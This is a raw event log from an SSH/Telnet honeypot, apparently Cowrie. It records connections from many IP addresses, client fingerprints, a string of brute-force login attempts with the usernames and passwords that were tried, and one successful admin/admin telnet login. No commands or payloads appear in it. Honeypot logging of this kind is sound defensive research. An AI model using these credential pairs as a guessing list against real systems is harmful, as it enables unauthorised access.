{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:27.570328Z","src_ip":"103.82.20.28","session":"4b23d5039a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porshe911","message":"login attempt [root/porshe911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:28.373221Z","src_ip":"103.82.20.28","session":"4b23d5039a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:29.643693Z","src_ip":"103.82.20.28","session":"4b23d5039a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.139.136.75","src_port":33406,"dst_ip":"159.203.135.109","dst_port":23,"session":"22db03d8aa55","protocol":"telnet","message":"New connection: 147.139.136.75:33406 (159.203.135.109:23) [session: 22db03d8aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:46.365689Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":56550,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbb2654f8bef","protocol":"ssh","message":"New connection: 165.154.5.173:56550 (10.17.0.5:22) [session: cbb2654f8bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:59.853209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:30:59.857413Z","src_ip":"165.154.5.173","session":"cbb2654f8bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:00.071428Z","src_ip":"165.154.5.173","session":"cbb2654f8bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123123a","message":"login attempt [root/A123123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:00.947991Z","src_ip":"165.154.5.173","session":"cbb2654f8bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:02.164250Z","src_ip":"165.154.5.173","session":"cbb2654f8bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":40538,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5267b4ec21b","protocol":"ssh","message":"New connection: 43.156.170.155:40538 (10.17.0.5:22) [session: d5267b4ec21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:22.051008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:22.055592Z","src_ip":"43.156.170.155","session":"d5267b4ec21b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:22.292966Z","src_ip":"43.156.170.155","session":"d5267b4ec21b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epro","password":"epro","message":"login attempt [epro/epro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:23.275941Z","src_ip":"43.156.170.155","session":"d5267b4ec21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:24.516430Z","src_ip":"43.156.170.155","session":"d5267b4ec21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.123.144.239","src_port":59324,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25efcd3832c","protocol":"telnet","message":"New connection: 70.123.144.239:59324 (10.17.0.5:23) [session: b25efcd3832c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:31.996931Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":53375,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4d27368af4","protocol":"ssh","message":"New connection: 41.181.156.205:53375 (10.17.0.5:22) [session: 1a4d27368af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:33.392445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:33.396499Z","src_ip":"41.181.156.205","session":"1a4d27368af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:33.645501Z","src_ip":"41.181.156.205","session":"1a4d27368af4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:34.734306Z","src_ip":"41.181.156.205","session":"1a4d27368af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:35.982775Z","src_ip":"41.181.156.205","session":"1a4d27368af4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":36100,"dst_ip":"10.17.0.5","dst_port":22,"session":"daa5b766c4ff","protocol":"ssh","message":"New connection: 46.253.45.10:36100 (10.17.0.5:22) [session: daa5b766c4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:41.344907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:41.348343Z","src_ip":"46.253.45.10","session":"daa5b766c4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:41.472585Z","src_ip":"46.253.45.10","session":"daa5b766c4ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sambauser","password":"123","message":"login attempt [sambauser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:42.006375Z","src_ip":"46.253.45.10","session":"daa5b766c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:43.134058Z","src_ip":"46.253.45.10","session":"daa5b766c4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.008073329925537,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:45.004823Z","src_ip":"70.123.144.239","session":"b25efcd3832c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:47.778119Z","src_ip":"147.139.136.75","session":"22db03d8aa55","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:47.816745Z","src_ip":"147.139.136.75","session":"22db03d8aa55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45440,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2820efcf177","protocol":"ssh","message":"New connection: 89.144.214.214:45440 (10.17.0.5:22) [session: b2820efcf177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:48.801151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:48.805584Z","src_ip":"89.144.214.214","session":"b2820efcf177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:48.953626Z","src_ip":"89.144.214.214","session":"b2820efcf177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dddddd","message":"login attempt [root/dddddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:49.532014Z","src_ip":"89.144.214.214","session":"b2820efcf177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:31:50.671291Z","src_ip":"89.144.214.214","session":"b2820efcf177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36716,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf76716b38eb","protocol":"ssh","message":"New connection: 103.27.238.114:36716 (10.17.0.5:22) [session: cf76716b38eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:01.028401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:01.032023Z","src_ip":"103.27.238.114","session":"cf76716b38eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:01.307574Z","src_ip":"103.27.238.114","session":"cf76716b38eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lilian","message":"login attempt [root/lilian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:02.136567Z","src_ip":"103.27.238.114","session":"cf76716b38eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:03.462566Z","src_ip":"103.27.238.114","session":"cf76716b38eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":43594,"dst_ip":"10.17.0.5","dst_port":22,"session":"72912563cee5","protocol":"ssh","message":"New connection: 165.154.5.173:43594 (10.17.0.5:22) [session: 72912563cee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:30.379697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:30.386758Z","src_ip":"165.154.5.173","session":"72912563cee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:30.607891Z","src_ip":"165.154.5.173","session":"72912563cee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zx123456.","message":"login attempt [root/Zx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:31.519656Z","src_ip":"165.154.5.173","session":"72912563cee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:32.742723Z","src_ip":"165.154.5.173","session":"72912563cee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":37610,"dst_ip":"10.17.0.5","dst_port":22,"session":"a814129a9963","protocol":"ssh","message":"New connection: 46.253.45.10:37610 (10.17.0.5:22) [session: a814129a9963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:59.079741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:59.083977Z","src_ip":"46.253.45.10","session":"a814129a9963","protocol":"ssh"}
